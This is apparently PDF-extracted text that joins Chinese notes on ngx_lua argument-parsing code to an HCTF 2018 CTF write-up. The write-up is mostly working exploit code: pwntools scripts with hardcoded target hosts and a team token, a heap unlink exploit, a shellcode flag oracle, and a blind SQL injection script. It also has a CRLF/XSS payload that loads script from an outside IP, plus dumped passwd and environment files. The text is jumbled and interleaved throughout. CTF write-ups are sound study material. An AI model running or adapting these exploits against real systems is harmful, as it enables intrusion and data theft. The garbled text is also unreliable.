ngx_http_lua_parse_args(lua_State *L, u_char *buf, u_char *last, int max) {    u_char                      *p, *q;    u_char                      *src, *dst;    unsigned                     parsing_value;    size_t                       len;    int                          count = 0;    int                          top;    top = lua_gettop(L);    p = buf;    parsing_value = 0;    q = p;    while (p != last) {        if (*p == '=' && ! parsing_value) {            /* key data is between p and q */            src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("pushing key %.*s", (int) (dst - q), q);            /* push the key */            lua_pushlstring(L, (char *) q, dst - q);            /* skip the current '=' char */            p++;            q = p;            parsing_value = 1;       } else if (*p == '&') {            /* reached the end of a key or a value, just save it */            src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("pushing key or value %.*s", (int) (dst - q), q);            /* push the value or key */            lua_pushlstring(L, (char *) q, dst - q);            /* skip the current '&' char */            p++;            q = p;            if (parsing_value) {                /* end of the current pair's value */                parsing_value = 0;           } else {                /* the current parsing pair takes no value,                 * just push the value "true" */                dd("pushing boolean true");                lua_pushboolean(L, 1);           }           (void) lua_tolstring(L, -2, &len);            if (len == 0) {                /* ignore empty string key pairs */                dd("popping key and value...");                lua_pop(L, 2);           } else {                dd("setting table...");                ngx_http_lua_set_multi_value_table(L, top);           }            if (max > 0 && ++count == max) {                lua_pushliteral(L, "truncated");                ngx_log_debug1(NGX_LOG_DEBUG_HTTP, ngx_cycle->log, 0,                               "lua hit query args limit %d", max);                return 2;           }       } else {            p++;       }   }    if (p != q || parsing_value) {        src = q; dst = q;        ngx_http_lua_unescape_uri(&dst, &src, p - q,                                  NGX_UNESCAPE_URI_COMPONENT);        dd("pushing key or value %.*s", (int) (dst - q), q);        lua_pushlstring(L, (char *) q, dst - q);        if (!parsing_value) {            dd("pushing boolean true...");            lua_pushboolean(L, 1);       } 如上代码。读取等于号之前的作为key 然后& 之前的作为value 。然后进行保存到内存中然后进行判断 是否大于等于max 获取key value       (void) lua_tolstring(L, -2, &len);        if (len == 0) {            /* ignore empty string key pairs */            dd("popping key and value...");            lua_pop(L, 2);       } else {            dd("setting table...");            ngx_http_lua_set_multi_value_table(L, top);       }   }    dd("gettop: %d", lua_gettop(L));    dd("type: %s", lua_typename(L, lua_type(L, 1)));    if (lua_gettop(L) != top) {        return luaL_error(L, "internal error: stack in bad state");   }    return 1; }            src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("pushing key %.*s", (int) (dst - q), q);            /* push the key */            lua_pushlstring(L, (char *) q, dst - q);            /* skip the current '=' char */            p++;            q = p;            parsing_value = 1; 判断长度是否等于max 但是现在还有一个疑问就是get_uri_args 这个怎么获取的呢? 如上是获取了get_post_args 四、get_uri_args 参考大量的代码发现。他这个是内置的一个格式ngx_http_lua_ffi 开头。我也没有找到他内部怎么注册流 程。 例如: ngx_http_lua_ffi_encode_base64 ngx_http_lua_ffi_unescape_uri ngx_http_lua_ffi_time 暂时没有找到他的内部注册的逻辑。这里先不做讨论了。如果有大佬可以指出哪里是注册流程话记得艾 特一下我 ngx_http_lua_ffi_req_get_uri_args 代码如下 src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("pushing key or value %.*s", (int) (dst - q), q);            /* push the value or key */            lua_pushlstring(L, (char *) q, dst - q);           if (max > 0 && ++count == max) {                lua_pushliteral(L, "truncated");                ngx_log_debug1(NGX_LOG_DEBUG_HTTP, ngx_cycle->log, 0,                               "lua hit query args limit %d", max);                return 2;           } int ngx_http_lua_ffi_req_get_uri_args(ngx_http_request_t *r, u_char *buf,    ngx_http_lua_ffi_table_elt_t *out, int count) {    int                          i, parsing_value = 0;    u_char                      *last, *p, *q;    u_char                      *src, *dst;    if (count <= 0) {        return NGX_OK;   }    ngx_memcpy(buf, r->args.data, r->args.len);    i = 0;    last = buf + r->args.len;    p = buf;    q = p;    while (p != last) {        if (*p == '=' && !parsing_value) {            /* key data is between p and q */            src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("saving key %.*s", (int) (dst - q), q);            out[i].key.data = q;            out[i].key.len = (int) (dst - q);            /* skip the current '=' char */            p++;            q = p;            parsing_value = 1;       } else if (*p == '&') {            /* reached the end of a key or a value, just save it */            src = q; dst = q;            ngx_http_lua_unescape_uri(&dst, &src, p - q,                                      NGX_UNESCAPE_URI_COMPONENT);            dd("pushing key or value %.*s", (int) (dst - q), q);            if (parsing_value) {                /* end of the current pair's value */                parsing_value = 0;                if (out[i].key.len) {                    out[i].value.data = q;                    out[i].value.len = (int) (dst - q);                    i++;               }           } else {                /* the current parsing pair takes no value,                 * just push the value "true" */                dd("pushing boolean true");                if (dst - q) {                    out[i].key.data = q;                    out[i].key.len = (int) (dst - q);                    out[i].value.len = -1;                    i++;               } 首先呢。他这个也是获取一个key 和一个value 的过程。然后判断一下是否是i==count i 这个地方是一个整数。每次设置好值之后i++ 这里画了一个图           }            if (i == count) {                return i;           }            /* skip the current '&' char */            p++;            q = p;       } else {            p++;       }   }    if (p != q || parsing_value) {        src = q; dst = q;        ngx_http_lua_unescape_uri(&dst, &src, p - q,                                  NGX_UNESCAPE_URI_COMPONENT);        dd("pushing key or value %.*s", (int) (dst - q), q);        if (parsing_value) {            if (out[i].key.len) {                out[i].value.data = q;                out[i].value.len = (int) (dst - q);                i++;           }       } else {            if (dst - q) {                out[i].key.data = q;                out[i].key.len = (int) (dst - q);                out[i].value.len = (int) -1;                i++;           }       }   }    return i;
pdf
HCTF 2018 HCTF 2018 PWN the end babyprintf_ver2 easyexp christmas Reverse LuckyStar Seven PolishDuck Web kzone admin bottle | open | working: hide and seek Game | solved | working: Crypto xor game rsa?xor BlockChain Re:Ethereum from zero ez2win MISC freq game eazy dump Difficult programming language Guess My Key https://hctf.io/#/ 119 20:00 - 1111 20:00 PWN the end from pwn import * #context.aslr = False context.log_level = 'debug' def pwn(p): p.recvuntil('here is a gift ') libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230 babyprintf_ver2 stdout_vtable = libc_base + 0x3c56f8 fake_io_jump = 0x3c3fb0 + libc_base remote_addr = libc_base + 0x3c4008 one_gadget = libc_base + 0x4526a one_gadget = libc_base + 0xF02B0 log.success('libc: {}'.format(hex(libc_base))) log.success('stdout_vtable: {}'.format(hex(stdout_vtable))) log.success('fake_io_jump: {}'.format(hex(fake_io_jump))) log.success('remote_addr: {}'.format(hex(remote_addr))) log.success('one_gadget: {}'.format(hex(one_gadget))) #0x3c5c58 payload = p64(stdout_vtable) payload += p64(fake_io_jump)[0] payload += p64(stdout_vtable + 1) payload += p64(fake_io_jump)[1] payload += p64(remote_addr) payload += p64(one_gadget)[0] payload += p64(remote_addr + 1) payload += p64(one_gadget)[1] payload += p64(remote_addr + 2) payload += p64(one_gadget)[2] #gdb.attach(p) p.send(payload) p.interactive() if __name__ == '__main__': p = remote('150.109.44.250', 20002) p.recvuntil('Input your token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') #p = process('./the_end') #p.interactive() pwn(p) from pwn import * context.log_level = 'debug' context.aslr = False def pwn(p): p.recvuntil('So I change the buffer location to ') program_base = int(p.recvuntil('\n', drop=True), 16) - 0x202010 log.success('program_base: {}'.format(hex(program_base))) p.sendline('%a') p.recvuntil('0x0.0') libc_base = int(p.recvuntil('p', drop=True), 16) - 0x50e8 log.success('libc_base: {}'.format(hex(libc_base))) p.sendline('%100000cb') p.recvuntil('b') malloc_hook = 0x3ebc30 remote = libc_base + malloc_hook - 0x10 payload = 'a'*0xf + '\x00' payload += p64(program_base + 0x202028) payload += p64(0x00000000fbad2887) + p64(0) payload += p64(0) + p64(0) payload += p64(remote) + p64(remote) payload += p64(remote + 0x20) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(1) + p64(0xffffffffffffffff) payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock payload += p64(0xffffffffffffffff) + p64(0) payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1 payload += p64(0) + p64(0) payload += p64(0x00000000ffffffff) + p64(0) payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable #gdb.attach(p) log.info('remote: {}'.format(hex(remote))) log.info('fake: {}'.format(hex(program_base + 0x202028))) p.sendline(payload) one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] payload = 'a' + p64(one_gadget[1] + libc_base) p.sendline(payload) payload = 'a'*0xf + '\x00' payload += p64(program_base + 0x202028) payload += p64(0x00000000fbad2887) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(0) + p64(0) payload += p64(1) + p64(0xffffffffffffffff) payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock payload += p64(0xffffffffffffffff) + p64(0) payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1 payload += p64(0) + p64(0) payload += p64(0x00000000ffffffff) + p64(0) easyexp payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable p.sendline(payload) p.sendline('%100000c') #p.recvuntil('a'*0xf) p.interactive() if __name__ == '__main__': #p = process('./babyprintf_ver2') p = remote('150.109.44.250', 20005) p.recvuntil('Input your token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') pwn(p) from pwn import * context.aslr = False context.log_level = 'debug' def mkdir(p, filename): p.recvuntil('$') p.clean() p.sendline('mkdir ' + filename) def mkfile(p, filename, data): p.recvuntil('$') p.clean() p.sendline('mkfile ' + filename) p.recvuntil('write something:') p.send(data) def cat(p, filename): p.recvuntil('$') p.clean() p.sendline('cat ' + filename) def trig_cve(p, buf): mkdir(p, '../../{}'.format(buf)) def pwn(p): libc = ELF('./libc-2.23.so') p.recvuntil('input your home\'s name: ') p.sendline('(unreachable)') mkfile(p, 'ccc', '/bin/sh\n') christmas payload = '/'*0x87 mkfile(p, '(unreachable)/tmp', payload + '\n') payload = 'z'*0x87 mkfile(p, 'aaa', payload + '\n') payload = 'b\x90' trig_cve(p, payload) trig_cve(p, '') payload = p64(0) + p64(0x81) payload += p64(0x603180 - 0x18 + 0x60) + p64(0x603180 - 0x10 + 0x60) payload = payload.ljust(0x80, 'c') payload += p64(0x80)[:7] mkfile(p, '(unreachable)/tmp', payload) # unlink mkfile(p, '123', '\n') payload = '\x00'*0x18 + p64(0x603038) # puts payload += p32(0x87)[:3] mkfile(p, '(unreachable)/tmp', payload + '\n') cat(p, '(unreachable)/tmp') libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6f690 log.success('libc_base: {}'.format(hex(libc_base))) payload = p64(libc_base + 0x45390) # system mkfile(p, '(unreachable)/tmp', payload + '\n') cat(p, 'ccc') #gdb.attach(proc.pidof(p)[0]) p.interactive() if __name__ == '__main__': local = 0 if local: p = process('./easyexp', env = {'LD_PRELOAD': './libc-2.23.so'}) else: p = remote('150.109.44.250', 20004) p.recvuntil('token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') pwn(p) #coding=utf8 from pwn import * context.arch = 'amd64' def make_guess_shellcode(n, ch): # flag > ch # shellcode = ''' mov rdx, 0x10700ee0 xor rdx, 0x10101010 mov rbx, [rdx] # 0x601ef0 mov rbx, [rbx+0x8] mov rbx, [rbx+0x18] mov rbx, [rbx+0x18] mov rbx, [rbx+0x18] mov rbx, [rbx+0x18] mov rbx, [rbx+0x18] mov rbx, [rbx+0x18] # rbx = linkmap flag.so mov rdx, 0x10703020 xor rdx, 0x10101010 mov rcx, [rdx] # 0x602030 mov rdx, 0x101d5030 xor rdx, 0x10101010 add rcx, rdx # 0xd4020 __libc_dlsym mov rdi, rbx /* push 'flag_yes_1337\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x373333315f xor [rsp], rax mov rax, 0x7365795f67616c66 push rax mov rsi, rsp call rcx call rax ''' payload = asm(shellcode) payload += asm('xor rbx, rbx') if n != 0: payload += asm('mov bl, {}'.format(n)) payload += asm(''' xor rcx, rcx add rax, rbx mov cl, byte ptr [rax] ''') payload += asm(''' fuck: cmp cl, {} jg fuck '''.format(ch)) return payload def shellcoe_encode(shellcode): payload = asm(''' push rax xor al, 0x33 ''') p = remote('192.168.178.1', 24356) p.send(shellcode) payload += p.recvall() p.close() return payload def guess(n, ch): # flag > ch ret true #p = process('./christmas-bak') p = remote('150.109.44.250', 20003) p.recvuntil('Input your token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') log.info('start') #p = process('./christmas') try: p.recvuntil('can you tell me how to find it??\n') p.clean() payload = make_guess_shellcode(n, ch) payload = payload.ljust(0x100 - 48, 'a') payload = shellcoe_encode(payload) #log.info(repr(payload)) #gdb.attach(p) p.sendline(payload) #p.interactive() #exit() p.recvuntil('\n', timeout=1) except EOFError: p.close() return False p.close() return True def pwn(): # HCTF{dyn_15_4w350m3} flag = 'HCTF{' while True: l = 0 r = 255 idx = len(flag) while True: m = (l + r) / 2 if m == l: m = r break ret = guess(idx, m) if ret: log.info('flag[{}] > {}({})'.format(idx, m, repr(chr(m)))) l = m else: https://github.com/SkyLined/alpha3 shellcode\0 \0 shellcode.... rax rax raxshellcode log.info('flag[{}] <= {}({})'.format(idx, m, repr(chr(m)))) r = m log.success('flag: {}'.format(repr(flag))) #log.info('{} {} {}'.format(l, r, m)) flag += chr(m) def test1(): p = process('./christmas') payload = payload = asm(''' push rax xor al, 0x33 ''') payload += 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2u0z4r3b4Z2Z122C2J 4u382B0J2A2B0z3X2H125O2N7k0p4y2y2H124y2z2J2j5K2A2K2p4y2s2I0z5N2t2J165L002H083c 5K2r0I0B0X0y4s3V0i2B0j2B124y1P1M4L400q0b0V2B084u4K2B0c2B0Y0x1K3t165K4k0z4M3c2F 2J1l7p0x4s4z7p2H2C0s1M0J402Z4y5o8O4S8O4H0x0H8o7k125o0x0h3z3X083z8K2E0N3Y0U2x0P 010P2L0U2M0U0Q0Q2p0Q130Q070S2C0Q0Y0U2t0U2J0S2C0Q120S2C0Q080Q2y0P2J0R2u0P0W0T2J 0U2j0Q7K0U2L0R120S2G0S2K0P2m0V2q0Q2y0U2r0U7K0V2q0S2I0S2B0Q2r0P2L0Q2K0U0Q0S7k04 ' payload = payload.ljust(0xf00 - 48, 'a') payload += 'flag_yes_1337' p.recvuntil('can you tell me how to find it??\n') p.clean() gdb.attach(p) p.sendline(payload) p.interactive() def test(): s = make_guess_shellcode(0, ord('f') + 1) + 'a'*0x50 log.info(repr(s)) # fp = open('/home/pwn/Desktop/test.bin', 'wb') # fp.write(s) # fp.close() shellcoe_encode(s) if __name__ == '__main__': #p = process('./christmas') pwn() #test() namespace shellcodeEncodeServer { class Program { static void Main(string[] args) { Console.WriteLine("Server is running ... "); IPAddress ip = new IPAddress(new byte[] { 0, 0, 0, 0 }); TcpListener listener = new TcpListener(ip, 24356); listener.Start(); Console.WriteLine("Start Listening ..."); while (true) { TcpClient remoteClient = listener.AcceptTcpClient(); Console.WriteLine("Client Connected{0} <-- {1}", remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint); var s = remoteClient.GetStream(); byte[] buf = new byte[4096]; int readSize = s.Read(buf, 0, 4096); write2File("D:\\Desktop\\test.bin", buf, readSize); Processor processor = new Processor(); var encode = processor.GetEncodeCod(); if(encode == null) { s.Write(Encoding.Default.GetBytes("error"), 0, 5); remoteClient.Close(); continue; } s.Write(Encoding.Default.GetBytes(encode), 0, encode.Length); remoteClient.Close(); } } static private void write2File(string filePathName, byte[] bytes,int length) { if (File.Exists(filePathName)) { File.Delete(filePathName); } FileStream stream = new FileStream(filePathName, FileMode.Create); stream.Write(bytes, 0, length); stream.Flush(); stream.Close(); } } class Processor { private Process p; private string encodeCode; public Processor() encodewindowsserverencode Reverse { p = new Process(); p.StartInfo.FileName = "C:\\python27-x64\\python.exe"; p.StartInfo.Arguments = "D:\\Desktop\\alpha3\\ALPHA3.py x64 ascii mixedcase rax --input=\"D:\\Desktop\\test.bin\""; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new DataReceivedEventHandler((senders, e) => { string getData = e.Data; if (String.IsNullOrEmpty(getData)) { return; } encodeCode = getData; }); p.Start(); p.BeginOutputReadLine(); p.PriorityClass = ProcessPriorityClass.High; } public string GetEncodeCod() { int count = 0; while (String.IsNullOrEmpty(this.encodeCode)) { Thread.Sleep(50); count++; if (count >= 40) { break; } } return this.encodeCode; } ~Processor() { p.Close(); } } } Reverse LuckyStar smc cedump base64ce base64 >>> en = 'ywfHywfHywfHywfHywfHywfHywfHywfHywfHywe=' >>> de = '71 F6 5F C5 39 7E 24 5C A9 85 FE 2E 4A A1 AF FA B8 E2 D0 56 BE 5A 7A A7 AB C5 39 2E F5 CE 97 70 6D 7F E9 86 90 08 68 38' >>> de = de.split(' ') >>> de ['71', 'F6', '5F', 'C5', '39', '7E', '24', '5C', 'A9', '85', 'FE', '2E', '4A', 'A1', 'AF', 'FA', 'B8', 'E2', 'D0', '56', 'BE', '5A', '7A', 'A7', 'AB', 'C5', '39', '2E', 'F5', 'CE', '97', '70', '6D', '7F', 'E9', '86', '90', '08', '68', '38'] >>> de_1 = [] >>> de_1 = '' >>> for i in de: ... de_1 += chr(int(i,16)) ... >>> table = [] >>> for i in xrange(40): ... table.append(ord(de_1[i])^ord(en[i])) ... >>> table [8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5] import ida_bytes start = 0x403520 table = [8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5] res = '' for i in xrange(32): res += chr(ida_bytes.get_byte(i+start) ^ table[i]) print res #include "stdafx.h" #include <stdlib.h> #include <stdio.h> #include <string.h> char base64_table[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"; char* base64_encode(const char* data, size_t len) { char *des = (char*)malloc(1 + 4 * len / 3); memset(des, 0, 1 + 4 * len / 3); size_t index = 0; size_t i; for (i = 0; i < len - 3; i += 3) { size_t index1 = data[i] >> 2; //first size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third size_t index4 = data[i + 2] % 64; des[index++] = base64_table[index1]; des[index++] = base64_table[index2]; des[index++] = base64_table[index3]; des[index++] = base64_table[index4]; } if (len - i == 1) { size_t index1 = data[i] >> 2; size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second des[index++] = base64_table[index1]; des[index++] = base64_table[index2]; des[index++] = '='; des[index++] = '='; } else if (len - i == 2) { size_t index1 = data[i] >> 2; size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third des[index++] = base64_table[index1]; des[index++] = base64_table[index2]; des[index++] = base64_table[index3]; des[index++] = '='; } else { size_t index1 = data[i] >> 2; //first size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third Seven kbdclass size_t index4 = data[i + 2] % 64; des[index++] = base64_table[index1]; des[index++] = base64_table[index2]; des[index++] = base64_table[index3]; des[index++] = base64_table[index4]; } des[index++] = 0; return des; } char* base64_decode(char *data) { size_t index = 0; size_t len = strlen(data); char* des = (char*)malloc(1 + len * 3 / 4); memset(des, 0, 1 + len * 3 / 4); for (size_t i = 0; i < len; i += 4) { size_t index1 = strchr(base64_table, data[i]) - base64_table; size_t index2 = strchr(base64_table, data[i + 1]) - base64_table; size_t index3 = strchr(base64_table, data[i + 2]) - base64_table; size_t index4 = strchr(base64_table, data[i + 3]) - base64_table; des[index++] = ((index1 % 64) << 2) + ((index2 % 64) >> 4); des[index++] = ((index2 % 16) << 4) + ((index3 % 64) >> 2); des[index++] = ((index3 % 4) << 6) + (index4 % 64); } des[index] = 0; return des; } int main() { char test[] = "Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq=="; char *de_test = base64_decode(test); printf("%s\n", de_test); system("pause"); return 0; } * * * * * * * * * * * * * * * * o . . . . . . . . . . . . . . * * * * * * * * * * * * * * * . * * * * * * * * * * * * * . . . * PolishDuck bad usb http://invicsfate.cc/2018/04/13/HITBCTF2018-reverse-hex/ * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * . . * * * * * * * * * * * * * * 7 * * * * * * * * * * * * * * * * * * * * * * * * * * * index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807, 838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227, 1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103] import ida_bytes,idaapi def my_get_str(ea): #print(hex(ea)) res = '' i = 0 while True: tt = ida_bytes.get_byte(ea+i) if tt ==0 or tt & 0x80 != 0: break res += chr(tt) i += 1 return res guess_offest = [6480] for offest in guess_offest: res = '' for i in index_table: res += my_get_str(i+offest) res += '\n' print(res+'\n') notepad.exe 44646 64094 71825 66562 15873 21793 7234 17649 43827 2155 74767 35392 88216 83920 16270 20151 5268 90693 82773 716 27377 44329 49366 65217 1653 38790 70247 97233 18347 22117 94686 49428 72576 52460 47541 46975 53769 94005 83065 72914 5137 87544 40301 71583 20370 37968 17478 55350 40532 10089 13332 70643 24170 46845 16048 23142 31895 62386 12179 94552 79082 19517 52918 91580 38900 89883 38412 91537 70 98594 57553 35275 62912 4755 16737 27595 21031 43551 64482 3550 *++-+*+ *++ -*+*++-+ -+++-+ -+ +*+ *+* ++-*++ +-+*+++ - *+++-+* +++-++-+- * ++*++-+-* +*++*+*++ *+*++ -*+ *++-*+ + notepad.exe 44646 + ( 64094 + ( 71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + ( 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * ( ( 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + ( 23142 * ( 31895 + ( 62386 * ( 12179 + ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) ) ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) ) - 70643 ) ) ) ) - 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - Web kzone 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) - 43827 ) ) ) ) ) - 66562 ) ) ) In [3]: s Out[3]: '44646+(64094+(71825*((15873+(21793*(7234+(17649*((2155+(74767*(35392+ (88216*(83920+(16270+(20151*(5268+(90693*(82773+(716+(27377*(44329+(49366*(((3 8790+(70247*(97233+(18347+(22117*(((72576+((47541+(46975+(53769*(94005+ ((72914+(5137+(87544*((71583+(20370+(37968*(17478+((40532+(10089+(13332* ((24170+(4684 5*(16048+(23142*(31895+(62386*(12179+(94552+(((52918+(91580+(((38412+(91537* (70+(98594*((35275+(62912*(4755+(16737*(27595+((43551+ (64482*3550))-21031))))))- 57553)))))-89883)-38900)))-19517)-79082)))))))))-70643))))-55350)))))-40301))) )-83065)))))-52460))-49428)-94686))))))-1653)-65217)))))))))))))))-43827)))))- 66562)))' In [4]: eval(s) Out[4]: 245160825372454180181035013425094268426669928853472000168466067114757309065141 074622457247656884957267064733565L In [5]: hex(_) Out[5]: '0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f5 55f5468316e6b3f7dL' In [6]: '686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555 f5468316e6b3f7d'.decode('hex') Out[6]: 'hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}' #encoding:utf-8 import requests import string import base64 def catch(num,str): url="http://kzone.2018.hctf.io/admin/index.php" header={ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3', "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/41.0" ,"Cookie":'''PHPSESSID=f4e2rj8ofjp0r4k4s205drkj74;islogin=1; login_data= {"admin_user":"admin'and((select(mi\\u0064(hex(group_concat(F1a9)),%d,1))from( F1444g))\\u003d'%s')\\u0023","admin_pass":true};'''%(num,str) } #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} #strings="aaaaaaaa' or mid(username,1,1)='a' and '1" #print url # r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"}) #burp #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"}) #print r.content res=r.headers #print "##################################" # found=False c_len = len(res) if c_len==9: return 1 return 0 if __name__ == "__main__": #payloads = list(string.ascii_lowercase) #payloads.append("_;") payloads='0123456789abcdef' #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') user='' for i in range(1,500): for j in payloads: print j admin view-source:http://admin.2018.hctf.io/change https://github.com/woadsl1234/hctf_fl ask u bottle | open | working: hide and seek if catch(i,j)==1: user=user+j print "now %d user is %s" % (i,user) break #print catch(1,"5") if request.method == 'POST': name = strlower(form.username.data) session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) <script> location.href='http://bottle.2018.hctf.io/path? path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent- Length:200%0d%0a%0d%0a%3Cscript%20src%3dhttp://118.24.185.108/c.js? 1541913080%3E%3C/script%3E'; </script> user nginx; worker_processes auto; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; zip events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf; } daemon off; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin config.py proc/self/environ /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py sessionflag Game | solved | working: crazy inject URL http://game.2018.hctf.io _apt:x:100:65534::/nonexistent:/bin/false nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false messagebus:x:102:103::/var/run/dbus:/bin/false UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi HOSTNAME=7d8beb1a9aa4 SHLVL=0 PYTHON_PIP_VERSION=18.1 HOME=/root GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D 